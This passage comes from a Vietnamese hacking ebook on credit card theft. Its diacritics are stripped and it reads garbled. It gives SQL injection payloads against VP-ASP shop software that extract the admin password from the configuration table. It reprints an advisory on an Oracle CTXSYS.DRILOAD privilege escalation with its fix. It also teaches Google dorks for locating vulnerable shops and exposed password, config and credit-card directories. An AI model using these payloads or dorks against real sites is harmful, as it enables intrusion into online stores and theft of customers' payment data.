đang làm gì và c n nh ng gì. (Xem h ng d n s d ng nh ng câu l nh SQL ph n trên
c a Ebook này) .
1 h 15:
bi t đ c các câu l nh trong bài vi t này, các b n c n xem l i Ebook Hacking
Credit Card version 1 và version 2. Trong bài vi t này hieupc h n ch vi c đ a ra câu
l nh truy v n vì hieupc không mu n l p đi l p l i nh ng th đã đ c nh c đi nh c l i
nhi u l n Ebook Hacking Credit Card version 1, version 2 và c nh ng di n đàn tin
h c khác. Chúc vui.
1 h 30: L u ý: Nh v y là vi c exploit Shop Ebox di n ra khá lâu và có ph n h i ph c
t p. Tuy nhiên hieupc ch d ng l i vi c login và không view b t c m t orders nào c a
shop c . Hy v ng là các b n s hi u đ c đi u tôi nói. Nó ch góp ph n c ng c thêm
ki n th c c a b n và đ ng nên qu y phá hay th ng m i hoá nh ng th mà b n đã hack
đ c hay exploit mà có. Và c ng đ ng quá mãn nguy n nh ng gì mình đang có, hãy luôn
c g ng và c g ng. Và đ ng qúa ham mê vi tính, cho dù nó là s thích c a b n, hãy dành
ít th i gian cho gia đình và b n bè, cu c s ng ngoài kia đang r t vui và ch đón các b n,
đ ng ch t già ch t mòn bên cái máy tính c a b n. Hãy s ng sao đúng v i ý ngh a c a
cu c s ng.
C m Thêm: Exploit Pass 2
VPASP
1 h 45: u tiên ph i nói đi u này hieupc đ c các b n h i nhi u nh t, và hieupc đ u tr
l i : “không bi t” hay “các b n t tìm tòi, tìm hi u, nghiên c u th xem…”, th c ch t nó
r t d n u nh các b n ch u nghiên c u nh . Và m t đi u n a, đáng l ra hieupc đã đ a
bài vi t này vào “Ebook Hacking Credit Card Version 2”, nh ng th y các b n không ch u
khó tí nào, ch toàn ph thu c cho nên hieupc th y nãn l m, và ch đ a các bài ít có giá tr
khác đ làm phong phú thêm n i dung c a “Ebook Hacking Credit Card Version 2”
1 h 50:
ây là câu l nh các b n c n đ Exploit Pass 2 VPASP, nó gi ng nh là l y username và
password, tuy ch có khác chút ít. Khi đã có đ c username và password thì b n thay
table đ c tô màu đ vào là có password number two:
union select fieldname='xadminpage'
,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,fieldvalue,2
8,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47 from configuration'
Cái này không c n gi i thích thêm, b i vì nó gi ng nh là cách exploit username và
password. Ngoài ra các b n có th th b ng câu l nh truy v n này:
shopexd.asp?id=1%20union%20select%
201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,fieldvalu
e,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47%20from%20configuratio
n%20where%%20fieldname='xadminpage'
Các b n th y ch a nó th t là d , ch t i các b n không ch u nghiên c u, “hãy nghiên c u
đi u b n mu n bi t th t k và hi u th u nó tr c khi h i, s là r t t t cho b n”. Hieupc nói
có nói gì thì đ c lòng tr c, m t lòng sau mong các b n hi u.
L i SQL Injection trong Oracle có th nâng quy n Tài kho n
Chuyên viên phân tích : Ngô B o Di p
1. Thông tin chung
N u k t n công có m t tài kho n ng i dùng bình th ng trong Oracle, h n có th th c hi n
m t s câu l nh đánh vào đi m y u c a Oracle trong hai phiên b n 8i và 9i, nh m m c đích nâng
quy n truy nh p tài kho n lên m c qu n tr . T đây, h n có toàn quy n v i h qu n tr c s d
li u này.
Ph n m m b đi m y u
Ngày phát hi n
12/2005
•
•
T
h
T
h
tc
đi
tc
đi
các phiên b n Oracle Database 8i trên m i
u hành
các phiên b n Oracle Database 9i trên m i
u hành
M c đ nguy hi m
Nguy Hi m
2. Mô t k thu t
Trong C s d li u Oracle, ng i dùng đ c chia ra thành 2 nhóm quy n : nhóm Privileged và
nhóm Object. Ng i dùng thu c nhóm Privileged có toàn quy n v i CSDL nh t o ra User m i,
thay đ i quy n các User khác, thay đ i d li u, thay đ i các thông s c u hình CSDL, thay đ i
các file log, xem tình tr ng các ti n trình c a CSDL v.v... Chú ý r ng m t Oracle Database Server
có th có nhi u CSDL và SYSDBA có toàn quy n đ i v i t t c các CSDL đó. User thu c nhóm
Object ch có nh ng quy n nh t đ nh (do Privileged User c p) đ i v i CSDL. Nh ng User thu c
nhóm Privileged g i là có quy n SYSDBA. Nhóm Object bao g m nh ng Account h n ch ,
không có quy n SYSDBA.
CTXSYS.DRILOAD là 1 m t package nh trong CTXSYS Schema. Trong package này có t n t i
các hàm và th t c b l i SQL Injection. Khai thác l h ng này m t account bình th ng có th
tr thành m t account v i quy n SYSDBA qu n tr Database server.
L i SQL Injection trong CTXSYS.DRILOAD có các đ c đi m nh sau:
•
•
B khai thác b i nh ng ng
này ch c n quy n bình th
R t d khai thác.
i dùng có account truy nh p t i c s d li u. Account
ng, không c n quy n SYSDBA.
M c đ nh m i account đ u có quy n EXECUTE trên gói CTXSYS.DRILOAD. Do đó m t account
bình th ng ch c n đ ng nh p vào và th c hi n m t câu l nh nguy hi m, ngay l p t c tài kho n
này tr thành SYSDBA và có toàn quy n đ i v i m i CSDL trên Oracle Database Server.
3. Khai thác l h ng
Chúng tôi ti n hành khai thác l h ng này trên các Máy ch có cài đ t Oracle Database 8i và 9i.
K thu t viên c a chúng tôi, đ ng nh p và Máy ch v i tài kho n ng i dùng bình th ng có
m c đ nh khi cài Oracle.
Sau khi th c hi n câu l nh đánh vào đi m y u c a hai phiên b n trên, trên màn hình xu t hi n
thông báo :
ERROR at line 1:
ORA-06510: PL/SQL: unhandled user-defined exception
ORA-06512: at "CTXSYS.DRILOAD", line 42
ORA-01003: no statement parsed
ORA-06512: at line 1
Tuy nhiên, tài kho n này đã đ
d li u này.
c nâng quy n lên SYSDBA và có toàn quy n v i Máy ch c s
4. Gi i pháp phòng ch ng
Oracle đã vá l i này trong b n vá l i Critical Patch Update tháng (CPU October 2005). Tuy nhiên
ch có các t ch c, cá nhân mua s n ph m c a Oracle m i có th download đ c các b n vá l i.
download, vào trang , sau đó vào tab Patches. Ng i
dùng download b n patch theo h ng d n c a tài li u Metalink có ID 281189.1.
Ngoài ra, chúng tôi đ a ra l i khuyên v i các qu n tr Oracle Database Server, các b n có th t
b t l h ng này b ng cách b quy n Execute trên CTXSYS.DRILOAD. C th các b c nh sau:
•
•
Vào SQL*plus và login v i tài kho n qu n tr .
Th c hi n l nh sau: REVOKE EXECUTE ON CTXSYS.DRILOAD FROM PUBLIC
FORCE;
Nh ng cú pháp tìm ki m nâng cao v i Google
Giúp cho vi c tìm shop l i đ t hi u qua cao.
D i đây th o lu n v nh ng l nh đ c bi t c a Google và tôi s gi i thích t ng l nh m t
cách ng n g n và nói rõ nó đ c s d ng nh th nào đ tìm ki m thông tin.
[ intitle: ]
Cú pháp “intitle:” giúp Google gi i h n k t qu tìm ki m v nh ng trang có ch a t đó
trong tiêu đ . Ví d , “intitle: login password” (không có ngo c kép) s cho k t qu là
nh ng link đ n nh ng trang có t "login" trong tiêu đ , và t "password" n m đâu đó
trong trang.
T ng t , n u ta mu n truy v n nhi u h n m t t trong tiêu đ c a trang thì ta có th
dùng “allintitle:” thay cho “intitle” đ có k t qu là nh ng trang có ch a t t c nh ng t
đó trong tiêu đ . Ví d nh dùng
“intitle: login intitle: password” c ng gi ng nh truy v n “allintitle: login password”.
[ inurl: ]
Cú pháp “inurl:” gi i h n k t qu tìm ki m v nh ng đ a ch URL có ch a t khóa tìm
ki m. Ví d : “inurl: passwd” (không có ngo c kép) s cho k t qu là nh ng link đ n
nh ng trang có t "passwd" trong URL.
T ng t , n u ta mu n truy v n nhi u h n m t t trong URL thì ta có th dùng
“allinurl:” thay cho “inurl” đ đ c k t qu là nh ng URL ch a t t c nh ng t khóa
tìm ki m.Ví d : “allinurl: etc/passwd“ s tìm ki m nh ng URL có ch a “etc” và
“passwd”. Ký hi u g ch chéo (“/”) gi a các t s b Google b qua.
[ site: ]
Cú pháp “site:” gi i h n Google ch truy v n nh ng t khóa xác đ nh trong m t site ho c
tên mi n riêng bi t. Ví d : “exploits site:hackingspirits.com” (không có ngo c kép) s tìm
ki m t khóa “exploits” trong nh ng trang hi n có trong t t c các link c a tên mi n
“hackingspirits.com”. Không có kho ng tr ng nào gi a “site:” và “tên mi n”.
[ filetype: ]
Cú pháp “filetype:” gi i h n Google ch tìm ki m nh ng files trên internet có ph n m
r ng riêng bi t (Ví d : doc, pdf hay ppt v.v...). Ví d : “filetype:doc site:gov confidential”
(không có ngo c kép) s tìm ki m nh ng file có ph n m r ng là “.doc” trong t t c
nh ng tên mi n c a chính ph có ph n m r ng là “.gov” và ch a t “confidential”(bí
m t) trong trang ho c trong file “.doc”. Ví d . K t qu s bao g m nh ng liên k t đ n t t
c các file v n b n bí trên các site c a chính ph .
[ link: ]
Cú pháp “link:” s li t kê nh ng trang web mà có các liên k t đ n đ n nh ng trang web
ch đ nh. Ví d :
chu i “link:www.securityfocus.com” s li t kê nh ng trang web có liên k t tr đ n trang
ch SecurityFocus.
Chú ý không có kho ng tr ng gi a "link:" và URL c a trang Web.
[ related: ]
Cú pháp “related:” s li t kê các trang Web "t ng t " v i trang Web ch đ nh. Ví d :
“related:www.securityfocus.com” s li t kê các trang web t ng t v i trang ch
Securityfocus. Nh r ng không có kho ng tr ng gi a "related:" và URL c a trang Web.
[ cache: ]
Truy v n “cache:” s cho k t qu là phiên b n c a trang Web mà mà Google đã l u l i.
Ví d :
“cache:www.hackingspirits.com” s cho ra trang đã l u l i b i Google's. Nh r ng
không có kho ng tr ng gi a "cache:" và URL c a trang web.
N u b n bao g m nh ng t khác trong truy v n, Google s đi m sáng nh ng t này
trong v n b n đã đ c l u l i.
Ví d : “cache:www.hackingspirits.com guest” s cho ra v n b n đã đ c l u l i có t
"guest" đ c đi m sáng.
[ intext: ]
Cú pháp “intext:” tìm ki m các t trong m t website riêng bi t. Nó ph t l các liên k t
ho c URL và tiêu đ c a trang.
Ví d : “intext:exploits” (không có ngo c kép) s cho k t qu là nh ng liên k t đ n
nh ng trang web có t khóa tìm ki m là "exploits" trong các trang c a nó.
[ phonebook: ]
“phonebook” tìm ki m thông tin v các đ a ch đ ng ph
M và s đi n tho i. Ví d :
“phonebook:Lisa+CA” s li t kê t t c các tên ng i có t “Lisa” trong tên và
“California (CA)”. Cú pháp này có th đ c s d ng nh là m t công c tuy t v i c a tin
t c trong tr ng h p ai đó mu n tìm ki m thông tin cá nhân cho công vi c xã h i.
Truy v n các site ho c server d b t n công s d ng các cú pháp nâng cao c a Google
Nh ng cú pháp truy v n nâng cao th o lu n trên th c s có th giúp ng
xác hóa các tìm ki m và có đ c nh ng gì h th c s tìm ki m.
i ta chính
Bây gi Google tr thành m t máy tìm ki m thông minh, nh ng ng i dùng có ác ý
không h b n tâm khai thác kh n ng c a nó đ đào b i nh ng thông tin bí m t t
internet mà ch có s truy c p gi i h n. Bây gi tôi s th o lu n nh ng k thu t này m t
cách chi ti t làm th nào đ nh ng ng i dùng ác tâm đào b i thông tin trên internet s
d ng Google nh m t công c .
S d ng cú pháp “Index of ” đ tìm ki m các site cho phép duy t ch m c
M t webserver(máy ch web) cho phép duy t ch m c ngh a là b t k ai có th duy t
các th m c c a webserver nh các th m c n i b thông th ng. đây tôi s th o
lu n làm th nào đ s d ng cú pháp "index of" đ có m t danh sách các liên k t đ n
webserver cho phép duy t th m c.
Cách này tr thành m t ngu n d dàng cho vi c thu th p thông tin c a tin t c. T ng
t ng n u h n m đ c các file m t kh u ho c các file nh y c m khác mà bình th ng
không th th y đ c trên internet.
D i đây là vài Ví d s d ng đ có đ c quy n truy c p vào r t nhi u thông tin nh y
c m d dàng h n r t nhi u:
Index of /admin
Index of /passwd
Index of /password
Index of /mail
"Index of /" +passwd
"Index of /" +password.txt
"Index of /" +.htaccess
"Index of /secret"
"Index of /confidential"
"Index of /root"
"Index of /cgi-bin"
"Index of /credit-card"
"Index of /logs"
"Index of /config"
Tìm ki m các site ho c server d b t n công s d ng cú pháp “inurl:” ho c
“allinurl:”